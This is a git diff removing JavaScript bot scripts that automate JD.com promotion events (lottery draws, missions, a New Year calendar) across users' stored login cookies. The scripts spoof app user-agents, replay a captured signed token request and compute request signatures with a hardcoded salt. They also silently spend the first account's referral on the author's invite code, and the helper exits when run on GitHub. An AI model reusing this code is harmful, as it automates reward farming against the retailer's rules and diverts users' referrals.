data.content.rewardInfoDTOs - console.log(`剩余抽奖次数:${data.content.drawNum}`) - $.draw = data.content.drawNum - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function getMissionList() { - return new Promise(resolve => { - $.post(taskUrl('luckdraw/queryMissionList'), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(resp) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.success) { - for (let vo of data.content.missionList) { - if (vo.completeNum < vo.totalNum) { - console.log(`去做【${vo.desc}】任务`) - await doMission({missionNo: vo.missionNo, params: vo.params}) - await $.wait(1000) - } - if (vo.status === 11) { - await getDrawChance({"getCode": vo.getRewardNos[0]}) - } - } - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function getDrawChance(body) { - return new Promise(resolve => { - $.post(taskUrl('luckdraw/getDrawChance', body), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(resp) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.success) { - console.log(`获得一次抽奖机会`) - } else { - console.log(JSON.stringify(data)) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function doMission(body) { - return new Promise(resolve => { - $.post(taskUrl('luckdraw/completeMission', body), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(resp) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.success) { - console.log(`任务完成成功`) - } else { - console.log(`任务完成失败`) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function draw() { - return new Promise(resolve => { - $.post(taskUrl('luckdraw/draw'), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(resp) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.success) { - console.log(`抽奖获得:【${data.content.rewardDTO.title}】`) - if (data.content.rewardDTO.rewardType === 102) { - $.beans += data.content.rewardDTO.jdBeanDTO.sendNum - } - } else { - console.log(JSON.stringify(data)) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function taskUrl(function_id, body) { - return { - url: `https://lop-proxy.jd.com/${function_id}`, - body: JSON.stringify([{"userNo": "$cooMrdGatewayUid$", "activityCode": "1354648125121241088", ...body}]), - headers: { - 'Host': 'lop-proxy.jd.com', - 'lop-dn': 'jingcai.jd.com', - 'biz-type': 'service-monitor', - 'app-key': 'jexpress', - 'access': 'H5', - 'content-type': 'application/json;charset=utf-8', - 'clientinfo': '{"appName":"jingcai","client":"m"}', - 'accept': 'application/json, text/plain, */*', - 'jexpress-report-time': new Date().getTime().toString(), - 'x-requested-with': 'XMLHttpRequest', - 'source-client': '2', - 'appparams': '{"appid":158,"ticket_type":"m"}', - 'version': '1.0.0', - 'origin': 'https://jingcai-h5.jd.com', - 'sec-fetch-site': 'same-site', - 'sec-fetch-mode': 'cors', - 'sec-fetch-dest': 'empty', - 'referer': 'https://jingcai-h5.jd.com/', - 'accept-language': 'zh-CN,zh;q=0.9', - "Cookie": cookie, - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('../USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - } - } -} - -function TotalBean() { - return new Promise(async resolve => { - const options = { - "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, - "headers": { - "Accept": "application/json,text/plain, */*", - "Content-Type": "application/x-www-form-urlencoded", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Cookie": cookie, - "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('../USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") - } - } - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - data = JSON.parse(data); - if (data['retcode'] === 13) { - $.isLogin = false; //cookie过期 - return - } - if (data['retcode'] === 0) { - $.nickName = (data['base'] && data['base'].nickname) || $.UserName; - } else { - $.nickName = $.UserName - } - } else { - console.log(`京东服务器返回空数据`) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function safeGet(data) { - try { - if (typeof JSON.parse(data) == "object") { - return true; - } - } catch (e) { - console.log(e); - console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); - return false; - } -} - -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/activity/jd_year.js b/activity/jd_year.js deleted file mode 100644 index 519e099..0000000 --- a/activity/jd_year.js +++ /dev/null @@ -1,345 +0,0 @@ -/** -京东超市年货日历 -cron 36 2,13 * * * year.js -TG频道:https://t.me/sheeplost -*/ -const $ = new Env("京东超市年货日历"); -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -const notify = $.isNode() ? require('./sendNotify') : ''; -let cookiesArr = [], cookie = ''; -$.shareCodes = []; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; -} else { - let cookiesData = $.getdata('CookiesJD') || "[]"; - cookiesData = JSON.parse(cookiesData); - cookiesArr = cookiesData.map(item => item.cookie); - cookiesArr.reverse(); - cookiesArr.push(...[$.getdata('CookieJD2'), $.getdata('CookieJD')]); - cookiesArr.reverse(); - cookiesArr = cookiesArr.filter(item => !!item); -} -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); - return; - } - UUID = getUUID('xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'); - for (let i = 0; i < cookiesArr.length; i++) { - UA = `jdapp;iPhone;10.1.6;13.5;${UUID};network/wifi;model/iPhone11,6;addressid/4596882376;appBuild/167841;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`; - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=(.+?);/) && cookie.match(/pt_pin=(.+?);/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - $.hotFlag = true; - await TotalBean(); - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - $.uuid = getUUID('xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxx'); - await main(); - } - } - for (let i = 0; i < cookiesArr.length; i++) { - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); - cookie = cookiesArr[i]; - $.uuid = getUUID('xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxx'); - $.hotFlag = true; - $.token = ''; - $.accessToken = ''; - await getToken(); - if ($.token) { - await taskPost('jd-user-info', `token=${$.token}&source=01`); - if ($.hotFlag === false) { console.log('活动火爆啦,快去买买买吧'); continue } - if ($.accessToken) { - await task('get_user_info', `uuid=${$.uuid}&source=shareFriend`); - $.t1 = h(); - $.t2 = y(); - $.t3 = $.md5($.t1 + $.t2 + $.code + "0evb5nafqo2qaf7pu3v6xq6dx5jpvpab").toUpperCase(); - if ($.shareCodes && $.shareCodes.length) { - console.log(`\n开始内部助力`) - for (let j = 0; j < $.shareCodes.length; j++) { - console.log(`\n账号${$.UserName} 去助力 ${$.shareCodes[j].user} 的助力码 ${$.shareCodes[j].code}`) - await taskPost('invite_friend', `inviter_id=${$.shareCodes[j].code}&uuid=${$.uuid}&source=shareFriend`); - await $.wait(2000) - } - } - } else { - $.log('获取accessToken失败,可能黑号了') - } - } else { - $.log('获取token失败!') - } - } -})().catch((e) => { $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') }).finally(() => { $.done(); }) - -async function main() { - $.token = ''; - $.accessToken = ''; - nowdate = getNowDate(); - await getToken(); - if ($.token) { - await taskPost('jd-user-info', `token=${$.token}&source=01`); - if ($.hotFlag === false) { console.log('活动火爆啦,快去买买买吧'); return } - if ($.accessToken) { - await task('get_user_info', `uuid=${$.uuid}&source=shareFriend`); - $.t1 = h(); - $.t2 = y(); - $.t3 = $.md5($.t1 + $.t2 + $.code + "0evb5nafqo2qaf7pu3v6xq6dx5jpvpab").toUpperCase(); - await task('home_task_info', `uuid=${$.uuid}&source=shareFriend`); - if ($.tasklist) { - await taskPost('get_light_task', `uuid=${$.uuid}&source=shareFriend`, { "now_date": `${nowdate}` }); - if ($.status_code === 422) { - console.log('今日已点亮日历') - } else { - $.log('去点亮日历,等待15s') - await $.wait(15000) - await taskPost('do_light_task', `uuid=${$.uuid}&source=shareFriend`, { "now_date": `${nowdate}` }); - } - for (let vo of $.tasklist) { - if (vo.left === vo.right) { - console.log(`任务:${vo.title},已完成`); - continue; - } - if (vo.id === 1) { - console.log(`去执行${vo.title}任务`); - for (let vd of vo.info) { - await taskPost('view_meeting', `meet_id=${vd.id}&uuid=${$.uuid}&source=shareFriend`); - await $.wait(2000) - } - } else if (vo.id === 2) { - console.log(`去执行${vo.title}任务`); - for (let vd of vo.info) { - await taskPost('view_product', `product_id=${vd.id}&uuid=${$.uuid}&source=shareFriend`); - await $.wait(2000) - } - } else if (vo.id === 3) { - console.log(`去执行${vo.title}任务`); - for (let vd of vo.info) { - await taskPost('view_shop', `shop_id=${vd.id}&uuid=${$.uuid}&source=shareFriend`); - await $.wait(2000) - } - } else if (vo.id === 4) { - console.log(`您的好友互助码:${$.code}`); - $.shareCodes.push({ - code: $.code, - user: $.UserName - }) - } - } - if ($.index === 1) { - console.log('助力作者') - await taskPost('invite_friend', `inviter_id=61e577478cfb057339&uuid=${$.uuid}&source=shareFriend`); - } - } - await task('get_calendar_detail', `uuid=${$.uuid}&source=shareFriend`); - if ($.calendarlist) { - let calendarlist = []; - for (let vo of $.calendarlist) { - if (vo.light_type === 1) { - calendarlist.push(vo.now_date) - } - } - if (calendarlist != '') { - if ($.coins >= 200) { - console.log(`共需要补签${calendarlist.length}天,去补签${calendarlist[0]}`) - await taskPost('repair_draw_word', `now_date=${calendarlist[0]}&uuid=${$.uuid}&source=shareFriend`); - } else { - console.log('爆竹不足200,不补签') - } - } - } - } else { - $.log('获取accessToken失败,可能黑号了!') - } - } else { - $.log('获取Token失败') - } -} - -async function task(function_id, body) { - return new Promise(async resolve => { - $.get(taskUrl(function_id, body), async (err, resp, data) => { - try { - let res = $.toObj(data); - if (typeof res === 'object') { - switch (function_id) { - case 'home_task_info': - $.tasklist = res.data; - break; - case 'get_user_info': - $.code = res.code; - $.coins = res.coins; - break; - case 'get_calendar_detail': - $.calendarlist = res.calendar_list; - break; - default: - $.log(JSON.stringify(res)) - break; - } - } else { - $.log(JSON.stringify(data)) - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function taskPost(function_id, res, body) { - return new Promise(async resolve => { - $.post(taskPostUrl(function_id, res, body), async (_err, resp, data) => { - try { - let res = $.toObj(data); - if (typeof res === 'object') { - switch (function_id) { - case 'get_light_task': - $.status_code = res.status_code; - break; - case 'jd-user-info': - if (res) { - $.accessToken = res.access_token; - } else { - $.hotFlag = false; - } - break; - case 'invite_friend': - console.log(res) - break; - default: - $.log(JSON.stringify(res)) - break; - } - } else { - $.log(JSON.stringify(data)) - } - - } catch (error) { - $.log(error) - } finally { - resolve(); - } - }) - }) -} - -function taskPostUrl(function_id, res, body) { - return { - url: `https://xinrui-isv.isvjcloud.com/api/${function_id}?${res}`, - body: JSON.stringify(body), - headers: { - "t1": $.t1 ?? '', - "t2": $.t2 ?? '', - "t3": $.t3 ?? '', - "Host": "xinrui-isv.isvjcloud.com", - "Accept": "application/json, text/plain, */*", - "Accept-Language": "zh-cn", - "Accept-Encoding": "gzip, deflate, br", - "Content-Type": "application/json", - "Origin": "https://xinrui-isv.isvjcloud.com", - "Content-Length": "25", - "Referer": "https://xinrui-isv.isvjcloud.com/year/fortune", - "Connection": "keep-alive", - "Authorization": `Bearer ${$.accessToken}`, - } - } -} - -function taskUrl(function_id, body) { - return { - url: `https://xinrui-isv.isvjcloud.com/api/${function_id}?${body}`, - headers: { - "Host": "xinrui-isv.isvjcloud.com", - "Accept-Encoding": "gzip, deflate, br", - "Connection": "keep-alive", - "Accept": "application/json, text/plain, */*", - "t1": $.t1 ?? '', - "t2": $.t2 ?? '', - "t3": $.t3 ?? '', - "User-Agent": UA, - "Authorization": `Bearer ${$.accessToken}`, - "Referer": "https://xinrui-isv.isvjcloud.com/year/logined_jd/", - 'Content-Type': 'application/json;charset=UTF-8', - } - } -} - -function getToken() { - let opt = { - url: 'https://api.m.jd.com/client.action?functionId=isvObfuscator', - body: 'body=%7B%22url%22%3A%22https%3A//xinrui-isv.isvjcloud.com%22%2C%22id%22%3A%22%22%7D&uuid=5af46a7710a54108b82a5be167ce747b&client=apple&clientVersion=9.4.0&st=1642425975000&sv=111&sign=360d2d470c51948d8323de9ce750d5d1', - headers: { - "Host": "api.m.jd.com", - "Content-Type": "application/x-www-form-urlencoded", - "Accept": "*/*", - "Accept-Encoding": "gzip, deflate, br", - "Connection": "keep-alive", - "Cookie": cookie, - "User-Agent": "JD4iPhone/167675 (iPhone; iOS 13.5; Scale/3.00)", - "Accept-Language": "zh-Hans-HK;q=1, zh-Hant-HK;q=0.9", - "Referer": "", - "Content-Length": "906", - } - } - return new Promise(resolve => { - $.post(opt, (err, resp, data) => { - try { - if (err) { - console.log(err) - } else { - data = JSON.parse(data); - if (data) { - $.token = data.token; - } else { - $.log('京东返回了空数据') - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -function h() { - for (var n = "ABCDEFGHJKMNPQRSTWXYZabcdefhijkmnprstwxyz2345678", t = n.length, e = "", i = 0; i < 32; i++) - e += n.charAt(Math.floor(Math.random() * t)); - return e -} -function y() { - return Date.parse(new Date).toString().substr(0, 10) -} -function getNowDate() { - var date = new Date(); - var split = "-"; - var year = date.getFullYear(); - var month = date.getMonth() + 1; - var strDate = date.getDate(); - if (month >= 1 && month <= 9) { - month = "0" + month; - } - if (strDate >= 0 && strDate <= 9) { - strDate = "0" + strDate; - } - var currentdate = year + split + month + split + strDate; - return currentdate; -} -// prettier-ignore -!function (n) { "use strict"; function t(n, t) { var r = (65535 & n) + (65535 & t); return (n >> 16) + (t >> 16) + (r >> 16) << 16 | 65535 & r } function r(n, t) { return n << t | n >>> 32 - t } function e(n, e, o, u, c, f) { return t(r(t(t(e, n), t(u, f)), c), o) } function o(n, t, r, o, u, c, f) { return e(t & r | ~t & o, n, t, u, c, f) } function u(n, t, r, o, u, c, f) { return e(t & o | r & ~o, n, t, u, c, f) } function c(n, t, r, o, u, c, f) { return e(t ^ r ^ o, n, t, u, c, f) } function f(n, t, r, o, u, c, f) { return e(r ^ (t | ~o), n, t, u, c, f) } function i(n, r) { n[r >> 5] |= 128 << r % 32, n[14 + (r + 64 >>> 9 << 4)] = r; var e, i, a, d, h, l = 1732584193, g = -271733879, v = -1732584194, m = 271733878; for (e = 0; e < n.length; e += 16)i = l, a = g, d = v, h = m, g = f(g = f(g = f(g = f(g = c(g = c(g = c(g = c(g = u(g = u(g = u(g = u(g = o(g = o(g = o(g = o(g, v = o(v, m = o(m, l = o(l, g, v, m, n[e], 7, -680876936), g, v, n[e + 1], 12, -389564586), l, g, n[e + 2], 17, 606105819), m, l, n[e + 3], 22, -1044525330), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 4], 7, -176418897), g, v, n[e + 5], 12, 1200080426), l, g, n[e + 6], 17, -1473231341), m, l, n[e + 7], 22, -45705983), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 8], 7, 1770035416), g, v, n[e + 9], 12, -1958414417), l, g, n[e + 10], 17, -42063), m, l, n[e + 11], 22, -1990404162), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 12], 7, 1804603682), g, v, n[e + 13], 12, -40341101), l, g, n[e + 14], 17, -1502002290), m, l, n[e + 15], 22, 1236535329), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 1], 5, -165796510), g, v, n[e + 6], 9, -1069501632), l, g, n[e + 11], 14, 643717713), m, l, n[e], 20, -373897302), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 5], 5, -701558691), g, v, n[e + 10], 9, 38016083), l, g, n[e + 15], 14, -660478335), m, l, n[e + 4], 20, -405537848), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 9], 5, 568446438), g, v, n[e + 14], 9, -1019803690), l, g, n[e + 3], 14, -187363961), m, l, n[e + 8], 20, 1163531501), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 13], 5, -1444681467), g, v, n[e + 2], 9, -51403784), l, g, n[e + 7], 14, 1735328473), m, l, n[e + 12], 20, -1926607734), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 5], 4, -378558), g, v, n[e + 8], 11, -2022574463), l, g, n[e + 11], 16, 1839030562), m, l, n[e + 14], 23, -35309556), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 1], 4, -1530992060), g, v, n[e + 4], 11, 1272893353), l, g, n[e + 7], 16, -155497632), m, l, n[e + 10], 23, -1094730640), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 13], 4, 681279174), g, v, n[e], 11, -358537222), l, g, n[e + 3], 16, -722521979), m, l, n[e + 6], 23, 76029189), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 9], 4, -640364487), g, v, n[e + 12], 11, -421815835), l, g, n[e + 15], 16, 530742520), m, l, n[e + 2], 23, -995338651), v = f(v, m = f(m, l = f(l, g, v, m, n[e], 6, -198630844), g, v, n[e + 7], 10, 1126891415), l, g, n[e + 14], 15, -1416354905), m, l, n[e + 5], 21, -57434055), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 12], 6, 1700485571), g, v, n[e + 3], 10, -1894986606), l, g, n[e + 10], 15, -1051523), m, l, n[e + 1], 21, -2054922799), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 8], 6, 1873313359), g, v, n[e + 15], 10, -30611744), l, g, n[e + 6], 15, -1560198380), m, l, n[e + 13], 21, 1309151649), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 4], 6, -145523070), g, v, n[e + 11], 10, -1120210379), l, g, n[e + 2], 15, 718787259), m, l, n[e + 9], 21, -343485551), l = t(l, i), g = t(g, a), v = t(v, d), m = t(m, h); return [l, g, v, m] } function a(n) { var t, r = "", e = 32 * n.length; for (t = 0; t < e; t += 8)r += String.fromCharCode(n[t >> 5] >>> t % 32 & 255); return r } function d(n) { var t, r = []; for (r[(n.length >> 2) - 1] = void 0, t = 0; t < r.length; t += 1)r[t] = 0; var e = 8 * n.length; for (t = 0; t < e; t += 8)r[t >> 5] |= (255 & n.charCodeAt(t / 8)) << t % 32; return r } function h(n) { return a(i(d(n), 8 * n.length)) } function l(n, t) { var r, e, o = d(n), u = [], c = []; for (u[15] = c[15] = void 0, o.length > 16 && (o = i(o, 8 * n.length)), r = 0; r < 16; r += 1)u[r] = 909522486 ^ o[r], c[r] = 1549556828 ^ o[r]; return e = i(u.concat(d(t)), 512 + 8 * t.length), a(i(c.concat(e), 640)) } function g(n) { var t, r, e = ""; for (r = 0; r < n.length; r += 1)t = n.charCodeAt(r), e += "0123456789abcdef".charAt(t >>> 4 & 15) + "0123456789abcdef".charAt(15 & t); return e } function v(n) { return unescape(encodeURIComponent(n)) } function m(n) { return h(v(n)) } function p(n) { return g(m(n)) } function s(n, t) { return l(v(n), v(t)) } function C(n, t) { return g(s(n, t)) } function A(n, t, r) { return t ? r ? s(t, n) : C(t, n) : 